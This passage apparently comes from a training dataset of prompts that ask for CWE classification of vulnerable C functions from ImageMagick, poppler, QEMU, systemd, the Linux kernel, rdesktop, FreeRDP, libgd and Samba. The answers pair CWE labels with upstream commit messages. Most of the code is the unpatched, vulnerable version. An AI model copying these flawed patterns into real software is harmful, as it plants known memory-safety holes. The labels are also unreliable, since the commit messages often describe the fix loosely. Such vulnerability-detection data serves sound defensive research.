int) *p++ << 8);\n pixel|=((unsigned int) *p++ << 16);\n pixel|=((unsigned int) *p++ << 24);\n red=((pixel & bmp_info.red_mask) << shift.red) >> 16;\n if (quantum_bits.red == 8)\n red|=(red >> 8);\n green=((pixel & bmp_info.green_mask) << shift.green) >> 16;\n if (quantum_bits.green == 8)\n green|=(green >> 8);\n blue=((pixel & bmp_info.blue_mask) << shift.blue) >> 16;\n if (quantum_bits.blue == 8)\n blue|=(blue >> 8);\n SetPixelRed(image,ScaleShortToQuantum((unsigned short) red),q);\n SetPixelGreen(image,ScaleShortToQuantum((unsigned short) green),q);\n SetPixelBlue(image,ScaleShortToQuantum((unsigned short) blue),q);\n SetPixelAlpha(image,OpaqueAlpha,q);\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n alpha=((pixel & bmp_info.alpha_mask) << shift.alpha) >> 16;\n if (quantum_bits.alpha == 8)\n alpha|=(alpha >> 8);\n SetPixelAlpha(image,ScaleShortToQuantum(\n (unsigned short) alpha),q);\n }\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n offset=(MagickOffsetType) (image->rows-y-1);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n default:\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n }\n pixel_info=RelinquishVirtualMemory(pixel_info);\n if (y > 0)\n break;\n if (EOFBlob(image) != MagickFalse)\n {\n ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n break;\n }\n if (bmp_info.height < 0)\n {\n Image\n *flipped_image;\n\n /*\n Correct image orientation.\n */\n flipped_image=FlipImage(image,exception);\n if (flipped_image != (Image *) NULL)\n {\n DuplicateBlob(flipped_image,image);\n ReplaceImageInList(&image, flipped_image);\n image=flipped_image;\n }\n }\n /*\n Proceed to next image.\n */\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n *magick='\\0';\n if (bmp_info.ba_offset != 0)\n {\n offset=SeekBlob(image,(MagickOffsetType) bmp_info.ba_offset,SEEK_SET);\n if (offset < 0)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n count=ReadBlob(image,2,magick);\n if ((count == 2) && (IsBMP(magick,2) != MagickFalse))\n {\n /*\n Acquire next image structure.\n */\n AcquireNextImage(image_info,image,exception);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n status=MagickFalse;\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,LoadImagesTag,TellBlob(image),\n GetBlobSize(image));\n if (status == MagickFalse)\n break;\n }\n } while (IsBMP(magick,2) != MagickFalse);\n (void) CloseBlob(image);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835', 'CWE-369'], 'message': 'Prevent infinite loop'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool PDFDoc::setup(const GooString *ownerPassword, const GooString *userPassword) {\n pdfdocLocker();\n\n if (str->getLength() <= 0)\n {\n error(errSyntaxError, -1, \"Document stream is empty\");\n return false;\n }\n\n str->setPos(0, -1);\n if (str->getPos() < 0)\n {\n error(errSyntaxError, -1, \"Document base stream is not seekable\");\n return false;\n }\n\n str->reset();\n\n // check footer\n // Adobe does not seem to enforce %%EOF, so we do the same\n// if (!checkFooter()) return false;\n \n // check header\n checkHeader();\n\n bool wasReconstructed = false;\n\n // read xref table\n xref = new XRef(str, getStartXRef(), getMainXRefEntriesOffset(), &wasReconstructed);\n if (!xref->isOk()) {\n if (wasReconstructed) {\n delete xref;\n startXRefPos = -1;\n xref = new XRef(str, getStartXRef(true), getMainXRefEntriesOffset(true), &wasReconstructed);\n }\n if (!xref->isOk()) {\n error(errSyntaxError, -1, \"Couldn't read xref table\");\n errCode = xref->getErrorCode();\n return false;\n }\n }\n\n // check for encryption\n if (!checkEncryption(ownerPassword, userPassword)) {\n errCode = errEncrypted;\n return false;\n }\n\n // read catalog\n catalog = new Catalog(this);\n if (catalog && !catalog->isOk()) {\n if (!wasReconstructed)\n {\n // try one more time to construct the Catalog, maybe the problem is damaged XRef\n delete catalog;\n delete xref;\n xref = new XRef(str, 0, 0, nullptr, true);\n catalog = new Catalog(this);\n }\n\n if (catalog && !catalog->isOk()) {\n error(errSyntaxError, -1, \"Couldn't read page catalog\");\n errCode = errBadCatalog;\n return false;\n }\n }\n\n // Extract PDF Subtype information\n extractPDFSubtype();\n\n // done\n return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'PDFDoc::setup: Fix return value\n\nAt that point xref can have gone wrong since extractPDFSubtype() can\nhave caused a reconstruct that broke stuff so instead of unconditionally\nreturning true, return xref->isOk()\n\nFixes #706'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int i2c_ddc_rx(I2CSlave *i2c)\n{\n I2CDDCState *s = I2CDDC(i2c);\n\n int value;\n value = s->edid_blob[s->reg];\n s->reg++;\n return value;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'i2c-ddc: fix oob read\n\nSuggested-by: Michael Hanselmann \nSigned-off-by: Gerd Hoffmann \nReviewed-by: Michael Hanselmann \nReviewed-by: Philippe Mathieu-Daud\u00e9 \nMessage-id: 20190108102301.1957-1-kraxel@redhat.com'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int bus_socket_make_message(sd_bus *bus, size_t size) {\n sd_bus_message *t;\n void *b;\n int r;\n\n assert(bus);\n assert(bus->rbuffer_size >= size);\n assert(IN_SET(bus->state, BUS_RUNNING, BUS_HELLO));\n\n r = bus_rqueue_make_room(bus);\n if (r < 0)\n return r;\n\n if (bus->rbuffer_size > size) {\n b = memdup((const uint8_t*) bus->rbuffer + size,\n bus->rbuffer_size - size);\n if (!b)\n return -ENOMEM;\n } else\n b = NULL;\n\n r = bus_message_from_malloc(bus,\n bus->rbuffer, size,\n bus->fds, bus->n_fds,\n NULL,\n &t);\n if (r < 0) {\n free(b);\n return r;\n }\n\n bus->rbuffer = b;\n bus->rbuffer_size -= size;\n\n bus->fds = NULL;\n bus->n_fds = 0;\n\n bus->rqueue[bus->rqueue_size++] = t;\n\n return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'sd-bus: if we receive an invalid dbus message, ignore and proceeed\n\ndbus-daemon might have a slightly different idea of what a valid msg is\nthan us (for example regarding valid msg and field sizes). Let's hence\ntry to proceed if we can and thus drop messages rather than fail the\nconnection if we fail to validate a message.\n\nHopefully the differences in what is considered valid are not visible\nfor real-life usecases, but are specific to exploit attempts only.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int eb_copy_relocations(const struct i915_execbuffer *eb)\n{\n\tconst unsigned int count = eb->buffer_count;\n\tunsigned int i;\n\tint err;\n\n\tfor (i = 0; i < count; i++) {\n\t\tconst unsigned int nreloc = eb->exec[i].relocation_count;\n\t\tstruct drm_i915_gem_relocation_entry __user *urelocs;\n\t\tstruct drm_i915_gem_relocation_entry *relocs;\n\t\tunsigned long size;\n\t\tunsigned long copied;\n\n\t\tif (nreloc == 0)\n\t\t\tcontinue;\n\n\t\terr = check_relocations(&eb->exec[i]);\n\t\tif (err)\n\t\t\tgoto err;\n\n\t\turelocs = u64_to_user_ptr(eb->exec[i].relocs_ptr);\n\t\tsize = nreloc * sizeof(*relocs);\n\n\t\trelocs = kvmalloc_array(size, 1, GFP_KERNEL);\n\t\tif (!relocs) {\n\t\t\terr = -ENOMEM;\n\t\t\tgoto err;\n\t\t}\n\n\t\t/* copy_from_user is limited to < 4GiB */\n\t\tcopied = 0;\n\t\tdo {\n\t\t\tunsigned int len =\n\t\t\t\tmin_t(u64, BIT_ULL(31), size - copied);\n\n\t\t\tif (__copy_from_user((char *)relocs + copied,\n\t\t\t\t\t (char __user *)urelocs + copied,\n\t\t\t\t\t len)) {\nend_user:\n\t\t\t\tuser_access_end();\n\t\t\t\tkvfree(relocs);\n\t\t\t\terr = -EFAULT;\n\t\t\t\tgoto err;\n\t\t\t}\n\n\t\t\tcopied += len;\n\t\t} while (copied < size);\n\n\t\t/*\n\t\t * As we do not update the known relocation offsets after\n\t\t * relocating (due to the complexities in lock handling),\n\t\t * we need to mark them as invalid now so that we force the\n\t\t * relocation processing next time. Just in case the target\n\t\t * object is evicted and then rebound into its old\n\t\t * presumed_offset before the next execbuffer - if that\n\t\t * happened we would make the mistake of assuming that the\n\t\t * relocations were valid.\n\t\t */\n\t\tuser_access_begin();\n\t\tfor (copied = 0; copied < nreloc; copied++)\n\t\t\tunsafe_put_user(-1,\n\t\t\t\t\t&urelocs[copied].presumed_offset,\n\t\t\t\t\tend_user);\n\t\tuser_access_end();\n\n\t\teb->exec[i].relocs_ptr = (uintptr_t)relocs;\n\t}\n\n\treturn 0;\n\nerr:\n\twhile (i--) {\n\t\tstruct drm_i915_gem_relocation_entry *relocs =\n\t\t\tu64_to_ptr(typeof(*relocs), eb->exec[i].relocs_ptr);\n\t\tif (eb->exec[i].relocation_count)\n\t\t\tkvfree(relocs);\n\t}\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'make 'user_access_begin()' do 'access_ok()'\n\nOriginally, the rule used to be that you'd have to do access_ok()\nseparately, and then user_access_begin() before actually doing the\ndirect (optimized) user access.\n\nBut experience has shown that people then decide not to do access_ok()\nat all, and instead rely on it being implied by other operations or\nsimilar. Which makes it very hard to verify that the access has\nactually been range-checked.\n\nIf you use the unsafe direct user accesses, hardware features (either\nSMAP - Supervisor Mode Access Protection - on x86, or PAN - Privileged\nAccess Never - on ARM) do force you to use user_access_begin(). But\nnothing really forces the range check.\n\nBy putting the range check into user_access_begin(), we actually force\npeople to do the right thing (tm), and the range check vill be visible\nnear the actual accesses. We have way too long a history of people\ntrying to avoid them.\n\nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int hid_debug_events_open(struct inode *inode, struct file *file)\n{\n\tint err = 0;\n\tstruct hid_debug_list *list;\n\tunsigned long flags;\n\n\tif (!(list = kzalloc(sizeof(struct hid_debug_list), GFP_KERNEL))) {\n\t\terr = -ENOMEM;\n\t\tgoto out;\n\t}\n\n\tif (!(list->hid_debug_buf = kzalloc(HID_DEBUG_BUFSIZE, GFP_KERNEL))) {\n\t\terr = -ENOMEM;\n\t\tkfree(list);\n\t\tgoto out;\n\t}\n\tlist->hdev = (struct hid_device *) inode->i_private;\n\tfile->private_data = list;\n\tmutex_init(&list->read_mutex);\n\n\tspin_lock_irqsave(&list->hdev->debug_list_lock, flags);\n\tlist_add_tail(&list->node, &list->hdev->debug_list);\n\tspin_unlock_irqrestore(&list->hdev->debug_list_lock, flags);\n\nout:\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'HID: debug: fix the ring buffer implementation\n\nRing buffer implementation in hid_debug_event() and hid_debug_events_read()\nis strange allowing lost or corrupted data. After commit 717adfdaf147\n(\"HID: debug: check length before copy_to_user()\") it is possible to enter\nan infinite loop in hid_debug_events_read() by providing 0 as count, this\nlocks up a system. Fix this by rewriting the ring buffer implementation\nwith kfifo and simplify the code.\n\nThis fixes CVE-2019-3819.\n\nv2: fix an execution logic and add a comment\nv3: use __set_current_state() instead of set_current_state()\n\nLink: https://bugzilla.redhat.com/show_bug.cgi?id=1669187\nCc: stable@vger.kernel.org # v4.18+\nFixes: cd667ce24796 (\"HID: use debugfs for events/reports dumping\")\nFixes: 717adfdaf147 (\"HID: debug: check length before copy_to_user()\")\nSigned-off-by: Vladis Dronov \nReviewed-by: Oleg Nesterov \nSigned-off-by: Benjamin Tissoires '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ber_parse_header(STREAM s, int tagval, int *length)\n{\n\tint tag, len;\n\n\tif (tagval > 0xff)\n\t{\n\t\tin_uint16_be(s, tag);\n\t}\n\telse\n\t{\n\t\tin_uint8(s, tag);\n\t}\n\n\tif (tag != tagval)\n\t{\n\t\terror(\"expected tag %d, got %d\\n\", tagval, tag);\n\t\treturn False;\n\t}\n\n\tin_uint8(s, len);\n\n\tif (len & 0x80)\n\t{\n\t\tlen &= ~0x80;\n\t\t*length = 0;\n\t\twhile (len--)\n\t\t\tnext_be(s, *length);\n\t}\n\telse\n\t\t*length = len;\n\n\treturn s_check(s);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n* Add rdp_protocol_error function that is used in several fixes\n* Refactor of process_bitmap_updates\n* Fix possible integer overflow in s_check_rem() on 32bit arch\n* Fix memory corruption in process_bitmap_data - CVE-2018-8794\n* Fix remote code execution in process_bitmap_data - CVE-2018-8795\n* Fix remote code execution in process_plane - CVE-2018-8797\n* Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n* Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n* Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n* Fix Denial of Service in sec_recv - CVE-2018-20176\n* Fix minor information leak in rdpdr_process - CVE-2018-8791\n* Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n* Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n* Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n* Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n* Fix Denial of Service in process_secondary_order - CVE-2018-8799\n* Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n* Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n* Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n* Fix Denial of Service in process_demand_active - CVE-2018-20178\n* Fix remote code execution in lspci_process - CVE-2018-20179\n* Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n* Fix remote code execution in seamless_process - CVE-2018-20181\n* Fix remote code execution in seamless_process_line - CVE-2018-20182'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: rdpsnddbg_process(STREAM s)\n{\n\tunsigned int pkglen;\n\tstatic char *rest = NULL;\n\tchar *buf;\n\n\tpkglen = s->end - s->p;\n\t/* str_handle_lines requires null terminated strings */\n\tbuf = (char *) xmalloc(pkglen + 1);\n\tSTRNCPY(buf, (char *) s->p, pkglen + 1);\n\n\tstr_handle_lines(buf, &rest, rdpsnddbg_line_handler, NULL);\n\n\txfree(buf);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n* Add rdp_protocol_error function that is used in several fixes\n* Refactor of process_bitmap_updates\n* Fix possible integer overflow in s_check_rem() on 32bit arch\n* Fix memory corruption in process_bitmap_data - CVE-2018-8794\n* Fix remote code execution in process_bitmap_data - CVE-2018-8795\n* Fix remote code execution in process_plane - CVE-2018-8797\n* Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n* Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n* Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n* Fix Denial of Service in sec_recv - CVE-2018-20176\n* Fix minor information leak in rdpdr_process - CVE-2018-8791\n* Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n* Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n* Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n* Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n* Fix Denial of Service in process_secondary_order - CVE-2018-8799\n* Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n* Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n* Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n* Fix Denial of Service in process_demand_active - CVE-2018-20178\n* Fix remote code execution in lspci_process - CVE-2018-20179\n* Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n* Fix remote code execution in seamless_process - CVE-2018-20181\n* Fix remote code execution in seamless_process_line - CVE-2018-20182'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static UINT32 nsc_rle_encode(BYTE* in, BYTE* out, UINT32 originalSize)\n{\n\tUINT32 left;\n\tUINT32 runlength = 1;\n\tUINT32 planeSize = 0;\n\tleft = originalSize;\n\n\t/**\n\t * We quit the loop if the running compressed size is larger than the original.\n\t * In such cases data will be sent uncompressed.\n\t */\n\twhile (left > 4 && planeSize < originalSize - 4)\n\t{\n\t\tif (left > 5 && *in == *(in + 1))\n\t\t{\n\t\t\trunlength++;\n\t\t}\n\t\telse if (runlength == 1)\n\t\t{\n\t\t\t*out++ = *in;\n\t\t\tplaneSize++;\n\t\t}\n\t\telse if (runlength < 256)\n\t\t{\n\t\t\t*out++ = *in;\n\t\t\t*out++ = *in;\n\t\t\t*out++ = runlength - 2;\n\t\t\trunlength = 1;\n\t\t\tplaneSize += 3;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t*out++ = *in;\n\t\t\t*out++ = *in;\n\t\t\t*out++ = 0xFF;\n\t\t\t*out++ = (runlength & 0x000000FF);\n\t\t\t*out++ = (runlength & 0x0000FF00) >> 8;\n\t\t\t*out++ = (runlength & 0x00FF0000) >> 16;\n\t\t\t*out++ = (runlength & 0xFF000000) >> 24;\n\t\t\trunlength = 1;\n\t\t\tplaneSize += 7;\n\t\t}\n\n\t\tin++;\n\t\tleft--;\n\t}\n\n\tif (planeSize < originalSize - 4)\n\t\tCopyMemory(out, in, 4);\n\n\tplaneSize += 4;\n\treturn planeSize;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200', 'CWE-787'], 'message': 'Fixed CVE-2018-8788\n\nThanks to Eyal Itkin from Check Point Software Technologies.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void ntlm_print_message_fields(NTLM_MESSAGE_FIELDS* fields, const char* name)\n{\n\tWLog_DBG(TAG, \"%s (Len: %\"PRIu16\" MaxLen: %\"PRIu16\" BufferOffset: %\"PRIu32\")\",\n\t name, fields->Len, fields->MaxLen, fields->BufferOffset);\n\n\tif (fields->Len > 0)\n\t\twinpr_HexDump(TAG, WLOG_DEBUG, fields->Buffer, fields->Len);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416', 'CWE-125'], 'message': 'Fixed CVE-2018-8789\n\nThanks to Eyal Itkin from Check Point Software Technologies.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: BGD_DECLARE(void) gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out)\n{\n\tgdImagePtr pim = 0, tim = im;\n\tint interlace, BitsPerPixel;\n\tinterlace = im->interlace;\n\n\tif(im->trueColor) {\n\t\t/* Expensive, but the only way that produces an\n\t\tacceptable result: mix down to a palette\n\t\tbased temporary image. */\n\t\tpim = gdImageCreatePaletteFromTrueColor(im, 1, 256);\n\t\tif(!pim) {\n\t\t\treturn;\n\t\t}\n\t\ttim = pim;\n\t}\n\n\tBitsPerPixel = colorstobpp(tim->colorsTotal);\n\n\t/* All set, let's do it. */\n\tGIFEncode(\n\t out, tim->sx, tim->sy, interlace, 0, tim->transparent, BitsPerPixel,\n\t tim->red, tim->green, tim->blue, tim);\n\n\tif(pim) {\n\t\t/* Destroy palette based temporary image. */\n\t\tgdImageDestroy(\tpim);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'Fix #492: Potential double-free in gdImage*Ptr()\n\nWhenever `gdImage*Ptr()` calls `gdImage*Ctx()` and the latter fails, we\nmust not call `gdDPExtractData()`; otherwise a double-free would\nhappen. Since `gdImage*Ctx()` are void functions, and we can't change\nthat for BC reasons, we're introducing static helpers which are used\ninternally.\n\nWe're adding a regression test for `gdImageJpegPtr()`, but not for\n`gdImageGifPtr()` and `gdImageWbmpPtr()` since we don't know how to\ntrigger failure of the respective `gdImage*Ctx()` calls.\n\nThis potential security issue has been reported by Solmaz Salimi (aka.\nRooney).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void * gdImageWBMPPtr (gdImagePtr im, int *size, int fg)\n{\n\tvoid *rv;\n\tgdIOCtx *out = gdNewDynamicCtx(2048, NULL);\n\tgdImageWBMPCtx(im, fg, out);\n\trv = gdDPExtractData(out, size);\n\tout->gd_free(out);\n\n\treturn rv;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'Sync with upstream\n\nEven though libgd/libgd#492 is not a relevant bug fix for PHP, since\nthe binding doesn't use the `gdImage*Ptr()` functions at all, we're\nporting the fix to stay in sync here.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int ldb_wildcard_compare(struct ldb_context *ldb,\n\t\t\t\tconst struct ldb_parse_tree *tree,\n\t\t\t\tconst struct ldb_val value, bool *matched)\n{\n\tconst struct ldb_schema_attribute *a;\n\tstruct ldb_val val;\n\tstruct ldb_val cnk;\n\tstruct ldb_val *chunk;\n\tuint8_t *save_p = NULL;\n\tunsigned int c = 0;\n\n\ta = ldb_schema_attribute_by_name(ldb, tree->u.substring.attr);\n\tif (!a) {\n\t\treturn LDB_ERR_INVALID_ATTRIBUTE_SYNTAX;\n\t}\n\n\tif (tree->u.substring.chunks == NULL) {\n\t\t*matched = false;\n\t\treturn LDB_SUCCESS;\n\t}\n\n\tif (a->syntax->canonicalise_fn(ldb, ldb, &value, &val) != 0) {\n\t\treturn LDB_ERR_INVALID_ATTRIBUTE_SYNTAX;\n\t}\n\n\tsave_p = val.data;\n\tcnk.data = NULL;\n\n\tif ( ! tree->u.substring.start_with_wildcard ) {\n\n\t\tchunk = tree->u.substring.chunks[c];\n\t\tif (a->syntax->canonicalise_fn(ldb, ldb, chunk, &cnk) != 0) goto mismatch;\n\n\t\t/* This deals with wildcard prefix searches on binary attributes (eg objectGUID) */\n\t\tif (cnk.length > val.length) {\n\t\t\tgoto mismatch;\n\t\t}\n\t\t/*\n\t\t * Empty strings are returned as length 0. Ensure\n\t\t * we can cope with this.\n\t\t */\n\t\tif (cnk.length == 0) {\n\t\t\tgoto mismatch;\n\t\t}\n\n\t\tif (memcmp((char *)val.data, (char *)cnk.data, cnk.length) != 0) goto mismatch;\n\t\tval.length -= cnk.length;\n\t\tval.data += cnk.length;\n\t\tc++;\n\t\ttalloc_free(cnk.data);\n\t\tcnk.data = NULL;\n\t}\n\n\twhile (tree->u.substring.chunks[c]) {\n\t\tuint8_t *p;\n\n\t\tchunk = tree->u.substring.chunks[c];\n\t\tif(a->syntax->canonicalise_fn(ldb, ldb, chunk, &cnk) != 0) goto mismatch;\n\n\t\t/*\n\t\t * Empty strings are returned as length 0. Ensure\n\t\t * we can cope with this.\n\t\t */\n\t\tif (cnk.length == 0) {\n\t\t\tgoto mismatch;\n\t\t}\n\t\t/*\n\t\t * Values might be binary blobs. Don't use string\n\t\t * search, but memory search instead.\n\t\t */\n\t\tp = memmem((const void *)val.data,val.length,\n\t\t\t (const void *)cnk.data, cnk.length);\n\t\tif (p == NULL) goto mismatch;\n\n\t\t/*\n\t\t * At this point we know cnk.length <= val.length as\n\t\t * otherwise there could be no match\n\t\t */\n\n\t\tif ( (! tree->u.substring.chunks[c + 1]) && (! tree->u.substring.end_with_wildcard) ) {\n\t\t\tuint8_t *g;\n\t\t\tuint8_t *end = val.data + val.length;\n\t\t\tdo { /* greedy */\n\n\t\t\t\t/*\n\t\t\t\t * haystack is a valid pointer in val\n\t\t\t\t * because the memmem() can only\n\t\t\t\t * succeed if the needle (cnk.length)\n\t\t\t\t * is <= haystacklen\n\t\t\t\t *\n\t\t\t\t * p will be a pointer at least\n\t\t\t\t * cnk.length from the end of haystack\n\t\t\t\t */\n\t\t\t\tuint8_t *haystack\n\t\t\t\t\t= p + cnk.length;\n\t\t\t\tsize_t haystacklen\n\t\t\t\t\t= end - (haystack);\n\n\t\t\t\tg = memmem(haystack,\n\t\t\t\t\t haystacklen,\n\t\t\t\t\t (const uint8_t *)cnk.data,\n\t\t\t\t\t cnk.length);\n\t\t\t\tif (g) {\n\t\t\t\t\tp = g;\n\t\t\t\t}\n\t\t\t} while(g);\n\t\t}\n\t\tval.length = val.length - (p - (uint8_t *)(val.data)) - cnk.length;\n\t\tval.data = (uint8_t *)(p + cnk.length);\n\t\tc++;\n\t\ttalloc_free(cnk.data);\n\t\tcnk.data = NULL;\n\t}\n\n\t/* last chunk may not have reached end of string */\n\tif ( (! tree->u.substring.end_with_wildcard) && (*(val.data) != 0) ) goto mismatch;\n\ttalloc_free(save_p);\n\t*matched = true;\n\treturn LDB_SUCCESS;\n\nmismatch:\n\t*matched = false;\n\ttalloc_free(save_p);\n\ttalloc_free(cnk.data);\n\treturn LDB_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'CVE-2019-3824 ldb: wildcard_match check tree operation\n\nCheck the operation type of the passed parse tree, and return\nLDB_INAPPROPRIATE_MATCH if the operation is not LDB_OP_SUBSTRING.\n\nA query of \"attribute=*\" gets parsed as LDB_OP_PRESENT, checking the\noperation and failing ldb_wildcard_match should help prevent confusion\nwriting tests.\n\nBUG: https://bugzilla.samba.org/show_bug.cgi?id=13773\n\nSigned-off-by: Gary Lockyer \nReviewed-by: Andrew Bartlett '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static struct bpf_verifier_state *push_stack(struct bpf_verifier_env *env,\n\t\t\t\t\t int insn_idx, int prev_insn_idx)\n{\n\tstruct bpf_verifier_state *cur = env->cur_state;\n\tstruct bpf_verifier_stack_elem *elem;\n\tint err;\n\n\telem = kzalloc(sizeof(struct bpf_verifier_stack_elem), GFP_KERNEL);\n\tif (!elem)\n\t\tgoto err;\n\n\telem->insn_idx = insn_idx;\n\telem->prev_insn_idx = prev_insn_idx;\n\telem->next = env->head;\n\tenv->head = elem;\n\tenv->stack_size++;\n\terr = copy_verifier_state(&elem->st, cur);\n\tif (err)\n\t\tgoto err;\n\tif (env->stack_size > BPF_COMPLEXITY_LIMIT_STACK) {\n\t\tverbose(env, \"BPF program is too complex\\n\");\n\t\tgoto err;\n\t}\n\treturn &elem->st;\nerr:\n\tfree_verifier_state(env->cur_state, true);\n\tenv->cur_state = NULL;\n\t/* pop all elements and return */\n\twhile (!pop_stack(env, NULL, NULL));\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'bpf: prevent out of bounds speculation on pointer arithmetic\n\nJann reported that the original commit back in b2157399cc98\n(\"bpf: prevent out-of-bounds speculation\") was not sufficient\nto stop CPU from speculating out of bounds memory access:\nWhile b2157399cc98 only focussed on masking array map access\nfor unprivileged users for tail calls and data access such\nthat the user provided index gets sanitized from BPF program\nand syscall side, there is still a more generic 